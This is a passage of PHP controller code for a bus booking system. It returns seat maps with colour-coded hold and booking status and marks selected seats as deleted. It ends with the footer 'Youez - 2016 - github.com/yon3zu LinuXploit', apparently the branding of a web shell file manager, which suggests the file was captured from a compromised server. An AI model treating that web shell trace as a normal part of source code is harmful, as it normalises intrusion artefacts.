            $bussysid = isset($getData['bussysid']) ? $getData['bussysid'] : 0;
            $date = isset($getData['date']) ? $getData['date'] : 0;
            $BusbusSeatMapDetails = $objBus->busSeatMap($bussysid, $this->intLoggedinUserAgencySysId);
            $busSeatHold = $objBus->busSeatHold($TPSysId, $date, $this->intLoggedinUserAgencySysId);
            $BUS_BOOKING_STATUS = unserialize(BUS_BOOKING_STATUS);
            $BusData = !empty($BusbusSeatMapDetails['BusData']) ? $BusbusSeatMapDetails['BusData'] : [];
            $SeatJson = !empty($BusbusSeatMapDetails['SeatMap']['SeatData']) ? $BusbusSeatMapDetails['SeatMap']['SeatData'] : [];
            $HoldBookedSeat = [];
            if ($busSeatHold) {
                foreach ($busSeatHold as $key => $value) {
                    if ($value['Status'] == 1) {
                        $pathFill_0 = '#f22a2a';
                        $pathFill_1 = '#fc9898';
                        $pathFill_2 = '#f22a2a';
                        $rect = '#fc9898';
                    } elseif ($value['Status'] == 2) {
                        $pathFill_0 = '#ADAFB8';
                        $pathFill_1 = '#E4E4E7';
                        $pathFill_2 = '#ADAFB8';
                        $rect = '#E4E4E7';
                    } elseif ($value['Status'] == 3) {
                        $pathFill_0 = '#FFFF00';
                        $pathFill_1 = '#f4f499';
                        $pathFill_2 = '#FFFF00';
                        $rect = '#f4f499';
                    } elseif ($value['Status'] == 0) {
                        $pathFill_0 = '';
                        $pathFill_1 = '#BDBDBD';
                        $pathFill_2 = '#BDBDBD';
                        $rect = '';
                    } else {
                        $pathFill_0 = '';
                        $pathFill_1 = '';
                        $pathFill_2 = '';
                        $rect = '';
                    }
                    $HoldBookedSeat[$value['SeatNo']]['pathFill_0'] = $pathFill_0;
                    $HoldBookedSeat[$value['SeatNo']]['pathFill_1'] = $pathFill_1;
                    $HoldBookedSeat[$value['SeatNo']]['pathFill_2'] = $pathFill_2;
                    $HoldBookedSeat[$value['SeatNo']]['rect'] = $rect;

                    // $HoldBookedSeat[$value['SeatNo']]['class'] = $BUS_BOOKING_STATUS[$value['Status']];
                    $HoldBookedSeat[$value['SeatNo']]['class'] = ($value['Status'] == 0) ? 'ClickSeat ' . $BUS_BOOKING_STATUS[$value['Status']] : $BUS_BOOKING_STATUS[$value['Status']];
                    $HoldBookedSeat[$value['SeatNo']]['Status'] = $value['Status'];
                    $HoldBookedSeat[$value['SeatNo']]['SeatNo'] = $value['SeatNo'];
                }
            }
            // echo "<pre>";
            // print_r($busSeatHold);
            // echo "<pre>";
            // print_r($getData);
            // exit;

            if ($SeatJson) {
                $returnArray = ['status' => true, 'message' => 'success', 'SeatJson' => $SeatJson, 'BusData' => $BusData, 'HoldBookedSeat' => $HoldBookedSeat];
                echo json_encode($returnArray);
                exit;
            } else {
                $returnArray = ['status' => false, 'message' => 'Seat map not found', 'SeatJson' => [], 'BusData' => [], 'HoldBookedSeat' => []];
                echo json_encode($returnArray);
                exit;
            }
        }
    }
    public function removeseatAction()
    {

        $objBus = new Travel_Model_TblBus();
        if ($this->getRequest()->isPost()) {
            $getData = $this->getRequest()->getPost();

            $CreateDate = date('Y-m-d H:i:s');
            $BusLayoutsId = isset($getData['BusLayoutsId']) ? base64_decode($getData['BusLayoutsId']) : 0;
            $busseatsIds = isset($getData['busseatsIds']) ? ($getData['busseatsIds']) : 0;
            // $busseatsIds = isset($getData['busseatsIds']) ? array_unique($getData['busseatsIds']) : 0;
            // echo "<pre>";
            // print_r(implode(',', $busseatsIds));
            // echo "<pre>";
            // print_r($getData);
            // die;
            if ($busseatsIds) {
                foreach ($busseatsIds as $key => $value) {
                    $updateArr = [
                        'IsMarkForDelete' => 1,
                        'UpdatedDate' => $CreateDate,
                    ];
                    $where = array(
                        'BusSeatsId = ?' => $value,
                        'BusLayoutsId = ?' => $BusLayoutsId,
                        // '(SeatType = ? OR SeatType = ?)' => array(1, 2),
                        //'SeatType = ?' => 1,
                        'AgencySysId = ?' => $this->intLoggedinUserAgencySysId,
                    );

                    $result = $objBus->updateDataWhere('Tb_Bus_Seats', $updateArr, $where);
                }

                $returnArray = ['status' => true, 'message' => 'success'];
                echo json_encode($returnArray);
                exit;
            } else {
                $returnArray = ['status' => false, 'message' => 'Unable to delete.'];
                echo json_encode($returnArray);
                exit;
            }
            // echo "<pre>";
            // print_r($getData);
            // exit;
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit